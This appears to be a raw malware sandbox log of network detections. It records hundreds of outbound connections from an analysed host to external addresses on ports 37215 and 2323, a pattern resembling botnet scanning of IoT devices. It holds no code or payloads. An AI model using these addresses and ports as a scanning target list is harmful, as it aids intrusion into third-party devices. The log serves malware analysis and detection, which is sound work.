Source: unknown	Network traffic detected: HTTP traffic on port 34782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54434 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53136 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43422 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48766 -> 37215

Source: global traffic	TCP traffic: 192.168.2.13:24655 -> 79.142.73.170:2323
Source: global traffic	TCP traffic: 192.168.2.13:24655 -> 104.76.139.107:2323
Source: global traffic	TCP traffic: 192.168.2.13:24655 -> 18.90.251.185:2323
Source: global traffic	TCP traffic: 192.168.2.13:24655 -> 186.83.55.13:2323
Source: global traffic	TCP traffic: 192.168.2.13:24655 -> 171.142.194.161:2323
Source: global traffic	TCP traffic: 192.168.2.13:24655 -> 213.126.211.192:2323
Source: global traffic	TCP traffic: 192.168.2.13:24655 -> 169.73.231.62:2323
Source: global traffic	TCP traffic: 192.168.2.13:24655 -> 219.20.203.148:2323
Source: global traffic	TCP traffic: 192.168.2.13:24655 -> 27.218.54.120:2323
Source: global traffic	TCP traffic: 192.168.2.13:24655 -> 146.214.7.37:2323
Source: global traffic	TCP traffic: 192.168.2.13:24655 -> 142.212.219.206:2323
Source: global traffic	TCP traffic: 192.168.2.13:24655 -> 83.87.2.47:2323
Source: global traffic	TCP traffic: 192.168.2.13:24655 -> 70.233.198.252:2323
Source: global traffic	TCP traffic: 192.168.2.13:24655 -> 111.217.29.57:2323
Source: global traffic	TCP traffic: 192.168.2.13:24655 -> 196.68.18.85:2323
Source: global traffic	TCP traffic: 192.168.2.13:24655 -> 71.10.24.113:2323
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.134.73.170:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.4.205.159:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.40.44.56:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.92.245.152:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.253.167.187:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.33.40.136:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.132.36.23:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.199.58.75:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.146.125.170:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.200.206.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.192.68.27:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.176.244.148:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.169.106.62:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.253.171.12:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.119.14.193:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.160.188.179:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.203.217.254:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.4.25.105:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.172.37.162:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.64.116.109:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.24.191.230:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.129.13.215:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.42.44.35:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.162.192.34:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.180.77.119:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.252.234.209:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.89.192.144:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.239.232.194:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.52.224.118:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.129.1.124:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.160.80.78:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.94.26.172:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.251.150.222:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.213.139.78:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.57.212.72:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.80.9.191:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.82.116.206:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.55.145.114:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.134.170.20:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.118.35.21:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.18.66.116:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.176.121.224:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.63.134.230:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.198.63.23:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.53.245.116:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.228.69.41:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.154.52.102:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.20.173.91:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.33.248.216:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.6.188.205:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.15.52.191:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.20.0.149:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.207.57.76:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.179.81.67:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.171.56.168:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.242.140.198:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.145.216.112:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.246.199.50:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.246.55.201:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.70.233.248:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.27.59.110:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.53.233.6:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.234.225.254:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.75.251.173:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.109.176.79:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.47.130.185:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.178.25.54:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.247.59.73:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.101.32.110:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.108.200.158:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.66.41.51:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.240.164.252:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.109.46.155:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.77.26.3:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.255.127.91:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.20.56.208:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.249.27.47:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.59.232.105:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.133.162.89:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.100.15.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.198.123.23:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.26.77.86:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.93.225.165:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.120.250.149:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.169.24.194:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.130.74.237:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.146.30.215:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.254.254.127:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.118.68.121:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.19.137.9:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.13.184.139:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.129.124.119:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.73.242.6:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.19.24.167:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.191.114.215:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.6.31.21:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.66.17.204:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.125.191.198:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.146.176.2:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.34.243.228:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.123.24.112:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.108.21.125:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.65.91.127:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.170.171.164:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.169.43.8:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.211.146.152:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.224.16.145:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.69.178.154:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.30.136.95:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.174.216.111:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.99.101.55:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.203.43.145:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.251.81.12:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.65.65.28:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.46.46.122:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.86.255.186:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.221.71.103:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.245.208.210:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.86.231.106:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.219.47.145:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.82.171.187:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.102.86.247:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.165.216.175:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.68.188.163:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.99.80.147:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.119.152.125:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.212.158.195:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.126.153.128:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.213.21.26:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.198.215.67:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.47.131.147:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.51.154.23:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.159.254.214:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.4.152.147:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.137.80.101:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.168.155.198:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.249.45.71:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.255.147.131:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.43.146.71:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.125.158.191:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.226.106.180:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.101.31.244:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.90.42.198:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.132.119.97:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.125.204.31:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.86.210.142:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.253.199.245:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.188.19.203:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.165.221.135:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.105.138.43:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.214.120.213:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.67.62.38:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.139.28.57:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.242.104.85:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.155.175.224:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.117.32.112:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.164.165.147:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.81.191.67:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.152.136.36:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.7.76.224:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.30.59.125:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.227.212.131:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.111.3.139:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.67.207.128:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.193.52.121:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.200.34.54:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.152.29.126:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.144.118.143:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.28.41.178:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.69.229.46:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.18.103.36:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.148.125.134:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.253.130.201:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.115.152.174:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.200.212.92:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.174.214.8:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.40.204.176:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.77.149.245:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.52.223.120:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.105.56.185:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.72.36.21:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.242.157.20:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.224.178.253:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.33.118.207:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.33.53.167:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.190.82.22:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.134.164.58:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.130.182.89:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.246.45.174:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.163.251.194:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.153.26.52:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.81.111.53:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.254.227.85:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.135.249.76:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.207.217.207:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.131.244.219:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.127.131.95:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.85.61.96:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.224.77.37:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.167.239.5:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.145.152.60:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.223.197.153:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.145.99.21:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.59.22.76:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.187.163.243:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.60.50.8:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.81.36.0:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.82.247.73:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.136.35.194:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.47.228.225:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.35.151.19:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.178.219.110:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.84.141.220:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.251.210.162:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.149.96.72:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.169.83.79:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.178.253.124:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.203.116.210:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.236.94.230:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.56.250.184:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.188.165.36:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.37.209.74:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.217.242.186:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.182.20.163:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.20.218.51:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.205.144.104:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.184.94.93:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.74.137.213:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.125.179.222:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.35.175.134:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.47.170.30:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.254.197.95:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.68.4.77:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.175.218.159:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.64.147.61:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.39.30.22:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.43.93.125:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.128.149.132:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.105.124.215:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.11.225.169:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.113.153.110:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.213.156.9:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.0.120.194:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.11.200.13:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.215.30.43:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.177.89.0:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.21.155.250:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.204.230.112:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.50.242.115:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.102.49.148:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.247.254.19:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.171.122.248:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.203.184.100:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.214.0.119:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.10.0.162:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.187.81.241:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.10.109.29:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.238.70.52:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.191.142.5:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.53.226.211:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.193.231.195:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.207.9.182:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.181.22.57:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.79.94.255:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.156.182.65:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.110.54.116:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.96.130.204:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.248.31.35:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.2.47.233:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.49.93.15:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.228.41.177:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.53.1.255:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.42.223.43:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 197.32.202.143:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.27.100.224:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.76.157.189:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 41.189.51.187:37215
Source: global traffic	TCP traffic: 192.168.2.13:24911 -> 156.186.40.160:37215
